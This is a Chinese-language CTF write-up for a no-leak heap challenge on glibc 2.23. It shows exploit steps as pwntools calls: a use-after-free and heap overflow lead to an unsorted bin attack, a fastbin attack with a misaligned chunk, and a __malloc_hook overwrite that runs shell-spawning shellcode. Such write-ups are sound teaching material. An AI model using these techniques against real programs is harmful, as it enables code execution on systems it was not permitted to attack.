看了大佬们的writeup,发现这题解法真的非常多,我这里用的是unsortedbin的地址写漏洞,详情可以看ctfwiki了解漏洞原因。
没开NX,有可以执行的堆栈,但是开启了Full RELRO,不能修改got表地址了。
打开IDA:
发现是一个菜单题,可以创建,删除,更新堆快信息,没有输出信息的选项,果然Noleak。
我们这里可以一个一个功能去看,看看漏洞存在哪里:
经过观察发现,程序只允许创建10个堆块,不允许多建,并且所有的堆块调用指针都存在buf处,等待调用,双击buf可以看到地址:
free了buf里边的指针了,但是没有置空,我们仍然可以调用,形成UAF漏洞。
update函数中可以重新输入堆块大小,并且直接可以根据修改的大小输入内容,造成了堆溢出漏洞。
我们用gdb看看,怎么利用这些漏洞。
new(0x80, 'aaa')
new(0x60, 'bbb')
delete(0)
gdb.attach(p)
pause()
首先申请一个small块和一个fast块,0x60可以随意,只要申请出来的堆块size为0x71便行,方便后面的错位申请堆块。
在这里下一个断点,我们查看一下堆信息。
可以看到这里已经连入了unsortedbin里边了,由于可以调用free后的堆块,这里就可以利用unsortedbin攻击了:
在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);`
换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。
--------------------------------------------------------------------------------------------------------------------------------------引用于ctfwiki
我们直接修改unsortedbin的bk指针,使其指向buf区域,我们就会在buf区域留下unsortedbin的地址了。
update(0, 0x10, p64(0) + p64(0x601060))
new(0x80, 'ddd')
gdb.attach(p)
pause()
由于题目告诉我们libc库的版本为2.23,我们就可以利用他的性质来简单利用一下,我们查看上下文发现main_arena上面有malloc_hook。
而程序每次调用malloc时都会调用malloc_hook,这样我们就可以利用这一点,来修改malloc_hook为其他的我们堆栈上的地址,这样程序就会调用我们填充在堆栈上shellcode了。
delete(1)
update(1, 8, p64(0x60106d))
new(0x60, '\n')
gdb.attach(p)
pause()
这里错位构造了0x60106d为0x7f,这样就可以在这里申请fastbin了,这是由于fastbin申请时需要检查size位,不然会报错,详情可以看ctfwiki中的fastbin attack。
new(0x60, '\x00'*3+p64(0x601070)+p64(0x601040))
gdb.attach(p)
pause()
这里用了3个\x00来使地址位置移回来
update(8, 1, '\x10')
update(6, 8, p64(0x601040))
update(9, 256, asm(shellcraft.amd64.sh()))
gdb.attach(p)
pause()
我们把main_arene的结尾改成\x10,这样就改到malloc_hook上面去了。改好这几个特殊的位置(位置自己数一下就行),我们就把bss段填充为shellcode了,最后调用一下malloc函数,程序就会自动执行shellcode了。